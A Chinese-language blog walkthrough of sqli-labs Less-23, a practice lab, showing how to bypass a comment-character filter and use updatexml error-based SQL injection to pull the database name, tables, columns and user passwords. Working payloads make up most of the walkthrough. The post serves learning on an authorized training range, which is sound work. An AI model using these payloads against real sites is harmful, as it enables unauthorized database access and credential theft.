sqli-labs关卡23(基于get提交的过滤注释符的报错注入)

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾前几关知识点

前几关是基于http头部注入,由于开发人员为了方便记录用户cookie、xff、user-agent、referer等头部信息与数据库交互,但是没有严格过滤这些参数,导致攻击者可以拼接任意sql语句到数据库中实现非法数据库查询。这一关是开始有过滤敏感字符了。

二、靶场第二十三关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这一关又回到了前10关的get提交的注入了,老规矩输入万能语句 and 1=1 和and 1=2 发现页面均正常,说明不是数字型。直接提交一个单引号发现报错了(如图所示),报错信息为

Warning: mysql_fetch_array() expects parameter 1 to be resource,

boolean given in C:\tools\phpstudy_pro\WWW\sqli-labs\Less-23\index.php

on line 38 You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near ''1'' LIMIT 0,1' at line 1


我们进一步猜想看看是不是单引号,我们构造payload

sql 复制代码
1' and 1=1--+
sql 复制代码
1' and 1=2--+

发现居然都是报错,按道理应该是1=1是正常的,1=2才是页面异常,难道是我们的思路错了吗?我们仔细观察,他页面异常还是单引号闭合的问题,还是因为多了一个单引号导致sql查询语句错误。所以这里应该是注释符的问题,他没有把后面多的单引号过滤掉。本来应该是id=1' and 1=1--+'的。所以考虑是注释符被过滤了,看源码发现注释符确实被过滤了,被替换为空了(如图所示)


所以我们不能用注释符构造payload了,注释符的作用其实就是为了闭合多余的一个单引号,让我们payload顺利拼接到数据库查询。既然用不了那我们自己闭合。

payload为

sql 复制代码
1' and '1'='1

payload这样就能成功解决多一个单引号的问题了,带入数据库的语句这样就不会报错id='1' and '1'='1'(如图所示)

2、爆数据库名

这里由于不知道显位order by闭合payload,不知道显位是多少个,这里我就用报错注入了。这里后面加or '1'='1是为了闭合多余的单引号。

payload为

sql 复制代码
1' and updatexml(1,concat(0x3a,(select database()),0x3a),1) or '1'='1

3、爆数据库表

payload为

sql 复制代码
1' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1) or '1'='1

4、爆数据库列

payload为

sql 复制代码
1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1) or '1'='1
sql 复制代码
1' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1) or '1'='1

5、爆数据库关键信息

payload为

sql 复制代码
1' or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1) or '1'='1
sql 复制代码
1' or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1) or '1'='1

总结

这一关是一个get提交的单引号闭合的注入,与之前不同的是这一关注释符被过滤为空了,我们得自己构造闭合。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
亚远景aspice1 小时前
ISO 21434标准:汽车网络安全管理的利与弊
网络·web安全·汽车
莫叫石榴姐2 小时前
数据科学与SQL:组距分组分析 | 区间分布问题
大数据·人工智能·sql·深度学习·算法·机器学习·数据挖掘
安迁岚3 小时前
【SQL Server】华中农业大学空间数据库实验报告 实验三 数据操作
运维·服务器·数据库·sql·mysql
安迁岚3 小时前
【SQL Server】华中农业大学空间数据库实验报告 实验九 触发器
数据库·sql·mysql·oracle·实验报告
HackKong3 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享3 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶3 小时前
Web安全之XSS攻击的防范
安全·web安全·xss
安迁岚4 小时前
【SQL Server】华中农业大学空间数据库实验报告 实验六 视图
数据库·sql·mysql·oracle·实验报告
乌啼霜满天2495 小时前
JDBC编程---Java
java·开发语言·sql
.Ayang5 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型